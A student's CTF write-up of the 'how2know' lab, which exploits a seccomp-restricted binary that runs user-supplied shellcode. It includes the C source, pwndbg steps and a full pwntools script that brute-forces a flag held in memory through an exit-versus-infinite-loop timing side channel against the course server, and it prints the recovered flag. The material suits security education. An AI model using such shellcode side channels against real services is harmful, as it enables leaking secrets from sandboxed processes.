Simple PWN - 0x13(Lab - `how2know`)

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Simple PWN - 0x13(Lab - how2know)

tags: CTF PWN eductf

challenge: nc edu-ctf.zoolab.org 10002 Environment Version: 22.04

Original Code

:::spoiler code

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>

static char flag[0x30];

int main()
{
    void *addr;
    int fd;
    scmp_filter_ctx ctx;

    addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if ((unsigned long)addr == -1)
        perror("mmap"), exit(1);
    
    fd = open("/home/chal/flag", O_RDONLY);
    if (fd == -1)
        perror("open"), exit(1);
    read(fd, flag, 0x30);
    close(fd);

    write(1, "talk is cheap, show me the code\n", 33);
    read(0, addr, 0x1000);

    ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    ((void(*)())addr)();

    return 0;
}

:::

gcc -o chal how2know.c -lseccomp

$ checksec chal
[*] '/home/sbk6401/NTUCS/PWN/Lab/how2know/share/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ seccomp-tools dump ./chal
talk is cheap, show me the code
123
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0007
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
  • Note that, if you want to use seccomp-tools, you should modify /home/chal/flag to ./flag
  • It just allow exit function

Description & Preliminary idea

  • At line 16, it create a writable, readable and executable space with size 0x1000
  • And it read the flag to global variable without buffer overflow
  • Then it allow us to write something to addr memory space
  • In addition, turn on seccomp rules to protect itself
  • **MOST IMPORTANT AT LINE 35**

    : it’ll call addr as function

  • So, the preliminary idea is to put some instructions to addr and it’ll execute at line 35

Exploit - brute force + assembly instruction

  1. Observe register and try to leak flag info. 
     $ gdb chal
 >pwndbg b main
 >pwndbg r
 >pwndbg b *main+337
 >pwndbg c

    We can see that in $r13 store 0x555555555289 (main) ◂— endbr64 and we can aware of the truly address of variable flag by using vmmap.

    1
    2
    3
    4
    5
    		 
     pwndbg> vmmap
 pwndbg> x/100s 0x555555558000
 ...
 0x555555558040 <flag>:  "FLAG{test_1235s456fasdjknisjsdfkl45641233f1234}\n"
 ...

    So, we can knew the distance of these two address is **`0x2db7`**

    1
    2
    		 
     >>> hex(0x555555558040-0x555555555289)
 '0x2db7'

    exploit: move the first 8 bytes to $rax

     mov r10, r13
 add r10, 0x2db7
 mov rax, [r10]

    • Note that, if you’d like to move next 8 bytes to $rax, rewrite [r10] to [r10+0x8]
  2. Compare the single char by brute force If the result of comparison is correct, the system will call sys_exit with error_code=0, otherwise, access to infinity loop. We start from 0x20 on ascii table and end at 0x80 Especially, when the comparison is correct, we have to shift $rax with 8 bits and start to compare next single char 
         mov cl, ''' + str(guess) + '''
     shr rax, ''' + str(8*shift_count) + '''
 Compare:
     cmp al, cl
     je the_same
 infinity1:
     jmp infinity1
 the_same:
     mov rax, 0x3c
     mov rdi, 0
     syscall

  3. Send the shellcode to addr global variable The trickiest things is you must add \x00 at the end of received strings and the reason is for the control flow next. 
     r.sendafter(b"code\n\x00", shellcode)
  4. How to know the single char in pwntool side? If compare correct, the program will exit directly and pwntools will trigger timeout function and do the exception, at the same time, we can clearly aware of the what is the current single char is, otherwise, the guess will increase and do the next comparison. 
     try :
     # If compare not correct, guess++ and access to infinity loop
     r.recv(timeout=0.2)
     print('not the same')
     guess += 1
 except:
     # If compare correct, pwntool will break out
     print('the same')
     break
 r.close()
  5. Repeat shift_count can not over 7 is because the biggest size that $rax can store is 8 bytes 
     flag = ''
 shift_count = 0
 while shift_count < 8:
     guess = 0x20
     while guess < 0x80 :
         {create shellcode}
         {send shellcode}

         try:
             ...
         except:
             ...
         r.close()
     shift_count += 1
     flag += chr(guess)
 print(flag)
 r.interactive()
  • Whole exploit :::spoiler code 
      from pwn import *

  # r = process('./chal')
  context.arch = 'amd64'

  flag = ''
  shift_count = 0
  while shift_count < 8:
      guess = 0x20
      while guess < 0x80 :
          # r = process('./chal')
          r = remote('edu-ctf.zoolab.org',10002)
          shellcode = asm('''
              mov r10, r13
              add r10, 0x2db7
              mov rax, [r10]
              mov cl, ''' + str(guess) + '''
              shr rax, ''' + str(8*shift_count) + '''
          Compare:
              cmp al, cl
              je the_same
          infinity1:
              jmp infinity1
          the_same:
              mov rax, 0x3c
              mov rdi, 0
              syscall
          ''')
          # raw_input()
          r.sendafter(b"code\n\x00", shellcode)
          try :
              # If compare not correct, guess++ and access to infinity loop
              r.recv(timeout=0.2)
              print('not the same')
              guess += 1
          except:
              # If compare correct, pwntool will break out
              print('the same')
              break
          # raw_input()
          r.close()

      shift_count += 1
      flag += chr(guess)
  print(flag)
  r.interactive()

    :::

  • Note that

    : I create 6 multi-threads to execute the exploit program simultaneously with a little bit difference 1st thread: mov rax, [r10] output:FLAG{pia 2nd thread: mov rax, [r10+0x8] output:no_d113f 3rd thread: mov rax, [r10+0x10] output:1c3f9ed8 4th thread: mov rax, [r10+0x18] output:019288f4 5th thread: mov rax, [r10+0x20] output:e8ddecfb 6th thread: mov rax, [r10+0x28] output:8ec} FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}

Reference

linux 中mmap的用法